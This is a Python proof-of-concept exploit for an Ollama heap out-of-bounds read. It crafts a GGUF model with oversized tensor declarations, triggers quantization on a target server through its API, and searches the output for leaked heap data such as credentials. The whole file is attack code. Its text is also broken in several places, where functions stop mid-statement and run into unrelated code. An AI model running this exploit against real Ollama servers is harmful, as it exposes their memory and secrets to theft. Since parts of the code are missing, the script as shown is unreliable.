#!/usr/bin/env python3 """ Exploit for CVE-2026-7482 - Ollama Heap OOB Read in GGUF Model Loader Ollama < 0.17.1 doesn't validate that tensor declared sizes match actual file data. During quantization, the server reads past the allocated heap buffer, leaking memory. Attack flow: 1. Craft malicious GGUF with oversized tensor declarations 2. Import into Ollama (via pull from registry or local file) 3. Trigger quantization via /api/create with quantize parameter 4. Leaked heap data is embedded in quantized output 5. Copy the generated quantized blob locally and inspect it for leaked heap data """ import struct import io import requests import sys import json import hashlib import os import subprocess import math # GGUF constants GGUF_MAGIC = b"GGUF" GGUF_VERSION = 3 # ggml_type enum GGML_TYPE_F32 = 0 GGML_TYPE_F16 = 1 GGML_TYPE_Q8_0 = 8 GGML_TYPE_Q4_K = 12 GGML_FILE_TYPE_MOSTLY_F16 = 1 GGML_TYPE_NAMES = { "F32": GGML_TYPE_F32, "F16": GGML_TYPE_F16, "Q8_0": GGML_TYPE_Q8_0, "Q4_K": GGML_TYPE_Q4_K, } Q8_0_BLOCK_SIZE = 34 Q8_0_VALUES_PER_BLOCK = 32 CANARY_MARKERS = [ "CANARY-STROKE-CVE7482-20260507-ZM9K7Q-PURPLE-ANCHOR", "FAKE_OPENAI_API_KEY=sk-proj-CVE7482TEST-alpha-000111222333444555", "FAKE_AWS_ACCESS_KEY_ID=AKIA-CVE7482-LEAKTEST-01", "FAKE_AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI-K7-CVE7482-fake-secret-key-02", "FAKE_GITHUB_PAT=ghp_CVE7482LeakProbe777888999000abcDEF", "BLUE-LANTERN-HEAP-CHECKPOINT", "DATABASE_URL=postgresql://cve7482_user:fakepass_HEAP_TRACE_314159@db.internal.local:5432/canarydb", "SESSION_BEARER_TOKEN=fake.jwt.CVE7482.eyJjYW5hcnkiOiJvcmFuZ2Utc3BpbmRsZSJ9", "ORANGE-SPINDLE-TRACE", ] CANARY_FRAGMENTS = [ "CVE7482", "CANARY", "sk-proj", "AKIA", "ghp_", "postgresql", "HEAP", ] # gguf_metadata_value_type enum GGUF_TYPE_UINT32 = 4 GGUF_TYPE_STRING = 8 GGUF_TYPE_ARRAY = 9 GGUF_TYPE_UINT64 = 10 # Alignment GGUF_DEFAULT_ALIGNMENT = 32 def write_gguf_string(buf, s): """Write a GGUF string: uint64 length + bytes (no null terminator)""" encoded = s.encode('utf-8') buf.write(struct.pack('= 8 chars current_str = "" for i in range(len(gguf_data)): byte = gguf_data[i] if 32 <= byte <= 126: # printable ASCII current_str += chr(byte) else: if len(current_str) >= 8: leaked.append(current_str) current_str = "" if len(current_str) >= 8: leaked.append(current_str) return leaked def byte_entropy(data): """Calculate Shannon entropy for a byte string.""" if not data: return 0.0 counts = [0] * 256 for byte in data: counts[byte] += 1 entropy = 0.0 for count in counts: if count: probability = count / len(data) entropy -= probability * math.log2(probability) return entropy def diff_runs(left, right): """Return byte ranges that differ between two equal-length byte strings.""" if len(left) != len(right): raise ValueError("cannot diff byte strings with different lengths") runs = [] start = None for index, (left_byte, right_byte) in enumerate(zip(left, right)): if left_byte != right_byte and start is None: start = index elif left_byte == right_byte and start is not None: runs.append((start, index)) start = None if start is not None: runs.append((start, len(left))) return runs def hexdump(data, base_offset=0, width=16): """Return a compact hex/ascii dump.""" lines = [] for row_start in range(0, len(data), width): chunk = data[row_start:row_start + width] hex_part = " ".join(f"{byte:02x}" for byte in chunk) ascii_part = "".join(chr(byte) if 32 <= byte <= 126 else "." for byte in chunk) lines.append(f"{base_offset + row_start:08x} {hex_part:<{width * 3}} {ascii_part}") return "\n".join(lines) def float_to_f16_bytes(value): """Convert a Python float to IEEE 754 binary16 bytes with inf fallback.""" try: return struct.pack(" 50: print(f" ... truncated {len(printable_strings) - 50} more strings") else: print("[*] No printable strings found in pseudo-F16 bytes") def q4_k_blocks(payload): """Split a Q4_K tensor payload into block_q4_K chunks.""" block_size = 144 return [payload[index:index + block_size] for index in range(0, len(payload), block_size)] def summarize_oob_influence(exploit_payload, control_payload): """Compare exploit output to a zero-filled control quantization.""" runs = diff_runs(exploit_payload, control_payload) changed = sum(end - start for start, end in runs) print(f"[*] Tensor bytes: {len(exploit_payload)}") print(f"[*] Bytes changed vs zero-control: {changed}/{len(exploit_payload)}") print(f"[*] Diff runs: {len(runs)}") print(f"[*] Exploit tensor entropy: {byte_entropy(exploit_payload):.3f} bits/byte") print(f"[*] Control tensor entropy: {byte_entropy(control_payload):.3f} bits/byte") changed_blocks = [] if len(exploit_payload) % 144 == 0: exploit_blocks = q4_k_blocks(exploit_payload) control_blocks = q4_k_blocks(control_payload) changed_blocks = [ index for index, (exploit_block, control_block) in enumerate(zip(exploit_blocks, control_blocks)) if exploit_block != control_block ] print(f"[*] 144-byte quantized blocks changed vs zero-control: {len(changed_blocks)}/{len(exploit_blocks)}") if not runs: print("[*] No byte-level difference from zero-control was detected") return print("[+] First differing regions, shown as quantized bytes:") for start, end in runs[:8]: window_start = max(0, start - 16) window_end = min(len(exploit_payload), end + 16) print(f"\n--- diff range {start}:{end} ({end - start} bytes) ---") print("exploit:") print(hexdump(exploit_payload[window_start:window_end], window_start)) print("control:") print(hexdump(control_payload[window_start:window_end], window_start)) if changed_blocks: print("\n[+] First changed Q4_K block indexes:") print(" " + ", ".join(str(index) for index in changed_blocks[:32])) def gguf_tensor_payloads(gguf_data): """Return tensor payload byte ranges from a GGUF file.""" if gguf_data[:4] != GGUF_MAGIC: raise ValueError("not a GGUF file") tensor_count = struct.unpack_from(" 2 else "ollama-old-test" quantize = sys.argv[3] if len(sys.argv) > 3 else "Q4_K_M" source_kind_name = sys.argv[4].upper() if len(sys.argv) > 4 else "F16" if source_kind_name not in GGML_TYPE_NAMES: print(f"[-] Unsupported source tensor kind: {source_kind_name}. Use F16 or F32.") sys.exit(2) source_kind = GGML_TYPE_NAMES[source_kind_name] # Step 0: Craft the malicious GGUF file print("\n[0] Crafting malicious and zero-control GGUF files...") # Create a tensor that declares shape [4096, 4] # but only includes 64 bytes of actual data tensor_shape = (4096, 4) actual_data_size = 64 declared_size = tensor_size(tensor_shape, source_kind) malicious_gguf = craft_malicious_gguf( oversized_shape=tensor_shape, actual_data_size=actual_data_size, kind=source_kind, ) control_gguf = craft_malicious_gguf( oversized_shape=tensor_shape, actual_data_size=declared_size, kind=source_kind, ) output_path = "malicious_model.gguf" with open(output_path, 'wb') as f: f.write(malicious_gguf) control_path = "control_model.gguf" with open(control_path, 'wb') as f: f.write(control_gguf) print(f"[+] Malicious GGUF written to {output_path}") print(f" Source tensor kind: {tensor_type_name(source_kind)}") print(f" Declared tensor size: {declared_size} bytes") print(f" Actual data in file: {actual_data_size} bytes") print(f" OOB read amount: {declared_size - actual_data_size} bytes") print(f"[+] Zero-control GGUF written to {control_path}") print(f" Control tensor bytes: {declared_size} bytes") # Step 1: Import and trigger quantization for the truncated tensor print("\n[1] Triggering OOB read via quantization...") print(f" Target: {target_host}") print(f" Container: {container_name}") print(f" Quantize: {quantize}") print(f" Source tensor kind: {tensor_type_name(source_kind)}") model_name = "pwn-leak" control_model_name = "pwn-control" quantized_path = "quantized_model.gguf" control_quantized_path = "control_quantized_model.gguf" try: create_quantized_blob( target_host, container_name, model_name, output_path, quantized_path, quantize, ) # Step 2: Quantize a full zero tensor as the control sample print("\n[2] Creating zero-control quantized model...") create_quantized_blob( target_host, container_name, control_model_name, control_path, control_quantized_path, quantize, ) # Step 3: Compare the local quantized GGUF copies print("\n[3] Extracting OOB-influenced quantized data...") with open(quantized_path, "rb") as f: quantized_data = f.read() with open(control_quantized_path, "rb") as f: control_quantized_data = f.read() exploit_payloads = gguf_tensor_payloads(quantized_data) control_payloads = gguf_tensor_payloads(control_quantized_data) if len(exploit_payloads) != 1 or len(control_payloads) != 1: raise RuntimeError("expected exactly one tensor in both quantized GGUF files") exploit_name, exploit_shape, exploit_kind, exploit_payload = exploit_payloads[0] control_name, control_shape, control_kind, control_payload = control_payloads[0] print( f"[*] Exploit tensor: {exploit_name}, type={exploit_kind}, " f"shape={exploit_shape}, bytes={len(exploit_payload)}" ) print( f"[*] Control tensor: {control_name}, type={control_kind}, " f"shape={control_shape}, bytes={len(control_payload)}" ) summarize_oob_influence(exploit_payload, control_payload) leaked_strings = extract_leaked_data(exploit_payload) if leaked_strings: print("\n[+] Printable strings observed in exploit tensor payload:") for value in leaked_strings[:50]: print(f" {value}") if len(leaked_strings) > 50: print(f" ... truncated {len(leaked_strings) - 50} more strings") else: print("\n[*] No printable strings found in exploit tensor payload") if exploit_kind == GGML_TYPE_Q8_0 and control_kind == GGML_TYPE_Q8_0: analyze_q8_0_reconstruction(exploit_payload, control_payload) else: print( f"\n[*] Q8_0 reconstruction skipped for tensor types " f"exploit={exploit_kind}, control={control_kind}" ) print("\n" + "=" * 70) print("[+] Exploit chain complete!") print(f"[*] OOB-influenced blob: {quantized_path}") print(f"[*] Zero-control blob: {control_quantized_path}") finally: print("[*] Cleanup: deleting temporary Ollama models") delete_model(target_host, model_name) delete_model(target_host, control_model_name) if __name__ == "__main__": main()